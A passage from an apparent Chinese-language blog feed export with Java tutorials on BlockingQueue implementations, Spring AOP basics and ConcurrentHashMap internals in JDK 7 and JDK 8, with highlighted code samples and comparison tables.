class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;();     <span class="comment">// 无界（Integer.MAX_VALUE）</span></span><br><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(<span class="number">100</span>);  <span class="comment">// 有界</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>链表实现</li><li>两把锁：putLock 和 takeLock，读写分离</li><li>无界版本有 OOM 风险</li></ul><p><strong>适用</strong>：吞吐量要求高的生产者-消费者场景。</p><h3 id="3-SynchronousQueue"><a href="#3-SynchronousQueue" class="headerlink" title="3. SynchronousQueue"></a>3. SynchronousQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">SynchronousQueue</span>&lt;&gt;();        <span class="comment">// 非公平</span></span><br><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">SynchronousQueue</span>&lt;&gt;(<span class="literal">true</span>);    <span class="comment">// 公平</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>不存储元素</li><li>每个插入操作必须等待一个移除操作</li><li>吞吐量最高</li></ul><p><strong>适用</strong>：直接传递、线程池（Executors.newCachedThreadPool）。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 线程间直接交换</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        queue.put(<span class="string">&quot;data&quot;</span>);  <span class="comment">// 阻塞，直到有消费者</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">&#125;).start();</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> queue.take();  <span class="comment">// 阻塞，直到有生产者</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">&#125;).start();</span><br></pre></td></tr></table></figure><h3 id="4-PriorityBlockingQueue"><a href="#4-PriorityBlockingQueue" class="headerlink" title="4. PriorityBlockingQueue"></a>4. PriorityBlockingQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;Task&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityBlockingQueue</span>&lt;&gt;(<span class="number">100</span>, </span><br><span class="line">    Comparator.comparingInt(Task::getPriority));</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>支持优先级排序</li><li>无界（自动扩容）</li><li>基于最小堆实现</li></ul><p><strong>适用</strong>：任务调度、按优先级处理的场景。</p><h3 id="5-DelayQueue"><a href="#5-DelayQueue" class="headerlink" title="5. DelayQueue"></a>5. DelayQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;DelayedTask&gt; queue = <span class="keyword">new</span> <span class="title class_">DelayQueue</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DelayedTask</span> <span class="keyword">implements</span> <span class="title class_">Delayed</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">long</span> executeTime;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">getDelay</span><span class="params">(TimeUnit unit)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> unit.convert(executeTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">compareTo</span><span class="params">(Delayed other)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Long.compare(<span class="built_in">this</span>.executeTime, ((DelayedTask) other).executeTime);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>元素只有到期后才能取出</li><li>基于 PriorityQueue</li></ul><p><strong>适用</strong>：定时任务调度、缓存过期。</p><h3 id="6-LinkedTransferQueue"><a href="#6-LinkedTransferQueue" class="headerlink" title="6. LinkedTransferQueue"></a>6. LinkedTransferQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">TransferQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedTransferQueue</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 传输：阻塞直到被消费</span></span><br><span class="line">queue.transfer(<span class="string">&quot;data&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 尝试传输：不阻塞</span></span><br><span class="line">queue.tryTransfer(<span class="string">&quot;data&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 超时传输</span></span><br><span class="line">queue.tryTransfer(<span class="string">&quot;data&quot;</span>, <span class="number">1</span>, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>结合了 SynchronousQueue 和 LinkedBlockingQueue</li><li>transfer 方法：有等待消费者则直接传递，否则入队</li><li>无锁实现（CAS），性能极高</li></ul><h3 id="7-LinkedBlockingDeque"><a href="#7-LinkedBlockingDeque" class="headerlink" title="7. LinkedBlockingDeque"></a>7. LinkedBlockingDeque</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingDeque&lt;String&gt; deque = <span class="keyword">new</span> <span class="title class_">LinkedBlockingDeque</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">deque.addFirst(<span class="string">&quot;first&quot;</span>);</span><br><span class="line">deque.addLast(<span class="string">&quot;last&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">first</span> <span class="operator">=</span> deque.takeFirst();</span><br><span class="line"><span class="type">String</span> <span class="variable">last</span> <span class="operator">=</span> deque.takeLast();</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>双端阻塞队列</li><li>支持 FIFO 和 LIFO</li></ul><p><strong>适用</strong>：工作窃取算法。</p><h2 id="实现对比"><a href="#实现对比" class="headerlink" title="实现对比"></a>实现对比</h2><table><thead><tr><th>队列</th><th>有界</th><th>锁机制</th><th>吞吐量</th><th>适用场景</th></tr></thead><tbody><tr><td>ArrayBlockingQueue</td><td>是</td><td>单锁</td><td>中</td><td>有界缓冲</td></tr><tr><td>LinkedBlockingQueue</td><td>可选</td><td>双锁</td><td>高</td><td>生产者-消费者</td></tr><tr><td>SynchronousQueue</td><td>否</td><td>无存储</td><td>最高</td><td>直接传递</td></tr><tr><td>PriorityBlockingQueue</td><td>否</td><td>单锁</td><td>中</td><td>优先级调度</td></tr><tr><td>DelayQueue</td><td>否</td><td>单锁</td><td>中</td><td>延迟任务</td></tr><tr><td>LinkedTransferQueue</td><td>否</td><td>无锁</td><td>极高</td><td>混合场景</td></tr><tr><td>LinkedBlockingDeque</td><td>可选</td><td>双锁</td><td>高</td><td>双端操作</td></tr></tbody></table><h2 id="生产者-消费者实现"><a href="#生产者-消费者实现" class="headerlink" title="生产者-消费者实现"></a>生产者-消费者实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProducerConsumer</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">100</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">Producer</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">while</span> (!Thread.interrupted()) &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">item</span> <span class="operator">=</span> produce();</span><br><span class="line">                    queue.put(item);  <span class="comment">// 队列满时阻塞</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                Thread.currentThread().interrupt();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">Consumer</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">while</span> (!Thread.interrupted()) &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">item</span> <span class="operator">=</span> queue.take();  <span class="comment">// 队列空时阻塞</span></span><br><span class="line">                    consume(item);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                Thread.currentThread().interrupt();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="线程池中的应用"><a href="#线程池中的应用" class="headerlink" title="线程池中的应用"></a>线程池中的应用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CachedThreadPool：SynchronousQueue</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(<span class="number">0</span>, Integer.MAX_VALUE, <span class="number">60L</span>, TimeUnit.SECONDS,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">SynchronousQueue</span>&lt;Runnable&gt;());</span><br><span class="line"></span><br><span class="line"><span class="comment">// FixedThreadPool：LinkedBlockingQueue（无界！危险）</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(nThreads, nThreads, <span class="number">0L</span>, TimeUnit.MILLISECONDS,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;Runnable&gt;());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义：有界队列 + 拒绝策略</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(<span class="number">10</span>, <span class="number">20</span>, <span class="number">60</span>, TimeUnit.SECONDS,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">1000</span>),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy());</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>优先使用有界队列</strong>：防止 OOM</li><li><strong>选择合适的实现</strong>：<ul><li>高并发直接传递：SynchronousQueue</li><li>通用生产者-消费者：LinkedBlockingQueue（指定容量）</li><li>优先级处理：PriorityBlockingQueue</li><li>延迟任务：DelayQueue</li></ul></li><li><strong>正确处理 InterruptedException</strong></li><li><strong>关闭时清空队列</strong>：避免任务丢失</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 优雅关闭</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">shutdown</span><span class="params">()</span> &#123;</span><br><span class="line">    executor.shutdown();</span><br><span class="line">    List&lt;Runnable&gt; remaining = executor.shutdownNow();</span><br><span class="line">    <span class="comment">// 处理剩余任务...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>BlockingQueue 是 Java 并发编程中最实用的工具之一，它：</p><ul><li>解耦了生产者和消费者</li><li>自动处理线程等待和唤醒</li><li>多种实现满足不同的性能需求</li></ul><p>理解各实现类的特点，选择合适的队列，是设计高效并发系统的关键。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap为什么适合并发</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap为什么适合并发"><a href="#ConcurrentHashMap为什么适合并发" class="headerlink" title="ConcurrentHashMap为什么适合并发"></a>ConcurrentHashMap为什么适合并发</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="Map-实现对比"><a href="#Map-实现对比" class="headerlink" title="Map 实现对比"></a>Map 实现对比</h2><table><thead><tr><th>实现</th><th>线程安全</th><th>性能</th><th>null支持</th><th>迭代器</th></tr></thead><tbody><tr><td>HashMap</td><td>否</td><td>高</td><td>Key/Value</td><td>快速失败</td></tr><tr><td>Hashtable</td><td>是（synchronized）</td><td>低</td><td>不支持</td><td>快速失败</td></tr><tr><td>Collections.synchronizedMap</td><td>是（包装器）</td><td>低</td><td>支持</td><td>快速失败</td></tr><tr><td>ConcurrentHashMap</td><td>是</td><td>高</td><td>不支持</td><td>弱一致性</td></tr></tbody></table><h2 id="JDK-7：分段锁（Segment）"><a href="#JDK-7：分段锁（Segment）" class="headerlink" title="JDK 7：分段锁（Segment）"></a>JDK 7：分段锁（Segment）</h2><p>#</p><h2 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ConcurrentHashMap</span><br><span class="line">  ├── Segment[0] -&gt; HashEntry[0] -&gt; Node -&gt; Node</span><br><span class="line">  ├── Segment[1] -&gt; HashEntry[1] -&gt; Node</span><br><span class="line">  ├── Segment[2] -&gt; HashEntry[2] -&gt; Node -&gt; Node -&gt; Node</span><br><span class="line">  └── ...</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Segment 继承 ReentrantLock</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Segment</span>&lt;K,V&gt; <span class="keyword">extends</span> <span class="title class_">ReentrantLock</span> &#123;</span><br><span class="line">    <span class="keyword">transient</span> <span class="keyword">volatile</span> HashEntry&lt;K,V&gt;[] table;</span><br><span class="line">    <span class="keyword">transient</span> <span class="type">int</span> count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="核心参数"><a href="#核心参数" class="headerlink" title="核心参数"></a>核心参数</h2><ul><li><code>DEFAULT_CONCURRENCY_LEVEL = 16</code>：默认 16 个 Segment</li><li>每个 Segment 是一个独立的哈希表</li><li>操作只锁定相关 Segment，其他 Segment 不受影响</li></ul><p>#</p><h2 id="put-流程"><a href="#put-流程" class="headerlink" title="put 流程"></a>put 流程</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> V <span class="title function_">put</span><span class="params">(K key, V value)</span> &#123;</span><br><span class="line">    Segment&lt;K,V&gt; s;</span><br><span class="line">    <span class="keyword">if</span> (value == <span class="literal">null</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NullPointerException</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">hash</span> <span class="operator">=</span> hash(key);</span><br><span class="line">    <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> (hash &gt;&gt;&gt; segmentShift) &amp; segmentMask;  <span class="comment">// 定位Segment</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> ((s = (Segment&lt;K,V&gt;)UNSAFE.getObject(segments, (j &lt;&lt; SSHIFT) + SBASE)) == <span class="literal">null</span>)</span><br><span class="line">        s = ensureSegment(j);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> s.put(key, hash, value, <span class="literal">false</span>);  <span class="comment">// 在Segment内加锁put</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="get-流程（无锁）"><a href="#get-流程（无锁）" class="headerlink" title="get 流程（无锁）"></a>get 流程（无锁）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> V <span class="title function_">get</span><span class="params">(Object key)</span> &#123;</span><br><span class="line">    HashEntry&lt;K,V&gt;[] tab;</span><br><span class="line">    <span class="type">V</span> <span class="variable">v</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="comment">// 使用UNSAFE.getObjectVolatile读取，保证可见性</span></span><br><span class="line">    <span class="keyword">if</span> ((tab = table) != <span class="literal">null</span> &amp;&amp; (n = tab.length) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        HashEntry&lt;K,V&gt; e = (HashEntry&lt;K,V&gt;) UNSAFE.getObjectVolatile(</span><br><span class="line">            tab, ((<span class="type">long</span>)(((n - <span class="number">1</span>) &amp; hash)) &lt;&lt; TSHIFT) + TBASE);</span><br><span class="line">        <span class="keyword">while</span> (e != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (e.hash == hash &amp;&amp; key.equals(e.key))</span><br><span class="line">                <span class="keyword">return</span> e.value;</span><br><span class="line">            e = e.next;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="JDK-8：CAS-synchronized"><a href="#JDK-8：CAS-synchronized" class="headerlink" title="JDK 8：CAS + synchronized"></a>JDK 8：CAS + synchronized</h2><p>#</p><h2 id="数据结构-1"><a href="#数据结构-1" class="headerlink" title="数据结构"></a>数据结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Node[] table</span><br><span class="line">  ├── null</span><br><span class="line">  ├── Node（链表头）</span><br><span class="line">  ├── TreeBin（红黑树根）</span><br><span class="line">  └── ForwardingNode（扩容时使用）</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 基本节点</span></span><br><span class="line"><span class="keyword">transient</span> <span class="keyword">volatile</span> Node&lt;K,V&gt;[] table;</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Node</span>&lt;K,V&gt; <span class="keyword">implements</span> <span class="title class_">Map</span>.Entry&lt;K,V&gt; &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="type">int</span> hash;</span><br><span class="line">    <span class="keyword">final</span> K key;</span><br><span class="line">    <span class="keyword">volatile</span> V val;       <span class="comment">// volatile保证可见性</span></span><br><span class="line">    <span class="keyword">volatile</span> Node&lt;K,V&gt; next;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="put-流程-1"><a href="#put-流程-1" class="headerlink" title="put 流程"></a>put 流程</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">final</span> V <span class="title function_">putVal</span><span class="params">(K key, V value, <span class="type">boolean</span> onlyIfAbsent)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (key == <span class="literal">null</span> || value == <span class="literal">null</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NullPointerException</span>();</span><br><span class="line">    <span class="type">int</span> <span class="variable">hash</span> <span class="operator">=</span> spread(key.hashCode());</span><br><span class="line">    <span class="type">int</span> <span class="variable">binCount</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (Node&lt;K,V&gt;[] tab = table;;) &#123;</span><br><span class="line">        Node&lt;K,V&gt; f; <span class="type">int</span> n, i, fh;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. table未初始化，初始化</span></span><br><span class="line">        <span class="keyword">if</span> (tab == <span class="literal">null</span> || (n = tab.length) == <span class="number">0</span>)</span><br><span class="line">            tab = initTable();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 目标槽位为空，CAS插入</span></span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> ((f = tabAt(tab, i = (n - <span class="number">1</span>) &amp; hash)) == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (casTabAt(tab, i, <span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Node</span>&lt;K,V&gt;(hash, key, value, <span class="literal">null</span>)))</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 发现ForwardingNode，帮助扩容</span></span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> ((fh = f.hash) == MOVED)</span><br><span class="line">            tab = helpTransfer(tab, f);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 槽位有值，synchronized锁定头节点</span></span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="type">V</span> <span class="variable">oldVal</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">synchronized</span> (f) &#123;  <span class="comment">// 只锁定单个槽位！</span></span><br><span class="line">                <span class="keyword">if</span> (tabAt(tab, i) == f) &#123;</span><br><span class="line">                    <span class="keyword">if</span> (fh &gt;= <span class="number">0</span>) &#123;  <span class="comment">// 链表</span></span><br><span class="line">                        binCount = <span class="number">1</span>;</span><br><span class="line">                        <span class="keyword">for</span> (Node&lt;K,V&gt; e = f;; ++binCount) &#123;</span><br><span class="line">                            K ek;</span><br><span class="line">                            <span class="keyword">if</span> (e.hash == hash &amp;&amp;</span><br><span class="line">                                ((ek = e.key) == key || (ek != <span class="literal">null</span> &amp;&amp; key.equals(ek)))) &#123;</span><br><span class="line">                                oldVal = e.val;</span><br><span class="line">                                <span class="keyword">if</span> (!onlyIfAbsent)</span><br><span class="line">                                    e.val = value;</span><br><span class="line">                                <span class="keyword">break</span>;</span><br><span class="line">                            &#125;</span><br><span class="line">                            Node&lt;K,V&gt; pred = e;</span><br><span class="line">                            <span class="keyword">if</span> ((e = e.next) == <span class="literal">null</span>) &#123;</span><br><span class="line">                                pred.next = <span class="keyword">new</span> <span class="title class_">Node</span>&lt;K,V&gt;(hash, key, value, <span class="literal">null</span>);</span><br><span class="line">                                <span class="keyword">break</span>;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">else</span> <span class="keyword">if</span> (f <span class="keyword">instanceof</span> TreeBin) &#123;  <span class="comment">// 红黑树</span></span><br><span class="line">                        <span class="comment">// ...</span></span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (binCount != <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">if</span> (binCount &gt;= TREEIFY_THRESHOLD)</span><br><span class="line">                    treeifyBin(tab, i);  <span class="comment">// 链表转红黑树</span></span><br><span class="line">                <span class="keyword">if</span> (oldVal != <span class="literal">null</span>)</span><br><span class="line">                    <span class="keyword">return</span> oldVal;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    addCount(<span class="number">1L</span>, binCount);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>JDK 8 优化点</strong>：</p><ol><li>锁粒度更细：只锁定单个槽位（头节点），而非整个 Segment</li><li>无锁 get：volatile 保证可见性</li><li>CAS 优化：槽位为空时直接 CAS</li></ol><p>#</p><h2 id="size-计算"><a href="#size-计算" class="headerlink" title="size 计算"></a>size 计算</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">size</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">n</span> <span class="operator">=</span> sumCount();</span><br><span class="line">    <span class="keyword">return</span> ((n &lt; <span class="number">0L</span>) ? <span class="number">0</span> :</span><br><span class="line">            (n &gt; (<span class="type">long</span>)Integer.MAX_VALUE) ? Integer.MAX_VALUE : (<span class="type">int</span>)n);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用CounterCell分散热点</span></span><br><span class="line"><span class="meta">@sun</span>.misc.Contended</span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">CounterCell</span> &#123;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value;</span><br><span class="line">    CounterCell(<span class="type">long</span> x) &#123; value = x; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>@Contended</strong>：避免伪共享（False Sharing），提升并发性能。</p><h2 id="关键设计亮点"><a href="#关键设计亮点" class="headerlink" title="关键设计亮点"></a>关键设计亮点</h2><p>#</p><h2 id="1-volatile-CAS-无锁读"><a href="#1-volatile-CAS-无锁读" class="headerlink" title="1. volatile + CAS 无锁读"></a>1. volatile + CAS 无锁读</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span 